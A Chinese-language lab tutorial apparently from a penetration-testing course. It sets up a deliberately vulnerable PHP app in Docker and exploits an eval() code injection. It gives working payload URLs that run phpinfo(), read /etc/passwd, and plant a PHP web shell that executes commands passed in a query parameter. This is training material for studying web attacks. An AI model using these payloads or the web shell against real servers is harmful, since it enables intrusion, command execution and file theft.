简介
在本实验中,你将探索 Web 应用程序中的代码注入漏洞(Code Injection Vulnerabilities)概念。代码注入是一种常见的漏洞,攻击者可以通过向用户输入字段注入代码来在服务器上执行恶意代码。本实验的目标是理解代码注入漏洞背后的原理,并通过实践练习学习如何利用这些漏洞。
在本实验中,你将探索 Web 应用程序中的代码注入漏洞(Code Injection Vulnerabilities)概念。代码注入是一种常见的漏洞,攻击者可以通过向用户输入字段注入代码来在服务器上执行恶意代码。本实验的目标是理解代码注入漏洞背后的原理,并通过实践练习学习如何利用这些漏洞。
在本课程的这一部分,我们将设置一个故意存在漏洞的 Web 应用程序,特别是它包含一个代码注入漏洞。这将帮助我们学习如何识别和缓解此类问题。以下是你可以启动并运行此应用程序的方法:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec
让我们分解一下这段命令:
docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1
是启动一个包含我们漏洞 Web 应用程序的新 Docker 容器。-d
标志告诉 Docker 在后台运行容器。-p 82:80
部分将容器内的端口 80 映射到你机器上的端口 82。/bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log'
是在容器内启动 Apache Web 服务器,并持续显示服务器的错误日志。docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/codeexec
是更改正在运行的容器内 /var/www/codeexec
目录的权限,以便 Web 应用程序能够正常工作。运行命令并激活 Docker 容器后,你可以通过打开 Web 浏览器并导航到 http://localhost:82/codeexec/example1.php?name=hacker
来与应用程序交互。这将带你进入我们故意存在漏洞的 Web 应用程序。祝你学习愉快!
在上一步中,我们设置了一个内置代码注入漏洞的 Web 应用程序。让我们仔细看看实现这一点的 PHP 代码:
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
在这里,PHP 中的 eval()
函数被用来将字符串作为 PHP 代码执行。问题出在 URL 中 name
参数的用户输入值被直接添加到 eval()
运行的字符串中。由于没有对允许的输入进行检查,这为代码注入攻击打开了大门。
现在,让我们看看这个漏洞的实际表现。我们可以通过跳出现有字符串并添加自己的 PHP 代码来注入代码。尝试访问以下 URL:
http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();
你可能会看到一个错误信息。这是因为我们注入的代码导致了语法错误——我们留下了一些未闭合的双引号。但别担心,我们可以通过使用 PHP 的注释语法来结束现有字符串来修复这个问题。
试试这个 URL:
http://localhost:82/codeexec/example1.php?name=hacker";phpinfo();//
这一次,phpinfo()
函数应该会成功运行,显示服务器的 PHP 配置信息。这表明我们已经成功利用了代码注入漏洞。正如你所看到的,即使是代码中的小疏忽也可能导致重大的安全风险!
在这一步中,我们将探索一种常见的利用代码注入漏洞的技术:在服务器上包含远程文件。我们将使用 PHP 的 file_get_contents()
函数来实现这一点。
以下是一个可以尝试读取服务器上 /etc/passwd
文件的有效载荷(payload):
http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_get_contents(%20%27/etc/passwd%27));//
结果如下所示:
让我们分解一下这个有效载荷:
http://localhost:82/codeexec/example1.php?name=hacker
是我们漏洞应用程序的 URL,正如我们之前所见。%22;var_dump(file_get_contents(%20%27/etc/passwd%27));
是我们有效载荷的关键部分。它使用 file_get_contents()
函数读取 /etc/passwd
文件的内容,然后使用 var_dump()
显示这些内容。//
是一种注释掉剩余代码的方式,这样它就不会干扰我们的有效载荷。/etc/passwd
文件包含系统上用户账户的信息。当你试图进一步利用系统时,这些信息可能非常有价值。因此,通过使用这个有效载荷,我们可能会获得大量有用的信息。试试看,看看你能学到什么!
在本实验的最后一部分,我们将探索另一种常见的利用技术:在服务器上写入文件。这可以通过使用 PHP 的 file_put_contents()
函数来实现。这种技术对于上传 Web Shell 或其他恶意代码到服务器尤其有用。
以下是一个可以尝试创建名为 shell.php
的简单 Web Shell 的有效载荷(payload):
http://localhost:82/codeexec/example1.php?name=hacker%22;var_dump(file_put_contents($_GET[1],$_GET[2]));//&1=shell.php&2=<?php system($_GET['cmd'])?>
让我们分解一下这个有效载荷:
http://localhost:82/codeexec/example1.php?name=hacker
是我们漏洞应用程序的 URL,和之前一样。%22;var_dump(file_put_contents($_GET[1],$_GET[2]));
使用 file_put_contents()
函数创建一个文件,文件名由 $_GET[1]
提供,内容由 $_GET[2]
提供。然后使用 var_dump()
显示操作的结果。//&1=shell.php&2=<?php system($_GET['cmd'])?>
是为 file_put_contents()
函数提供参数。shell.php
是我们创建的文件名,<?php system($_GET['cmd'])?>
是文件的内容。这段 PHP 代码将执行通过查询字符串中的 cmd
参数传递的任何命令。执行此有效载荷后,你应该能够访问 shell.php
文件并在服务器上执行系统命令。例如,你可以尝试访问以下 URL:
http://localhost:82/codeexec/shell.php?cmd=uname -a
结果如下所示:
这将在服务器上执行 uname -a
命令并显示输出,为你提供一些关于服务器操作系统的基本信息。试试看,看看你能学到什么!
在本实验中,你学习了代码注入漏洞以及如何利用各种技术来利用这些漏洞。你设置了一个存在漏洞的 Web 应用程序,理解了其背后的漏洞,并通过注入 PHP 代码来执行系统命令、读取敏感文件以及在服务器上写入文件。这种实践经验将帮助你更好地理解与代码注入漏洞相关的风险,以及如何在 Web 应用程序中缓解这些风险。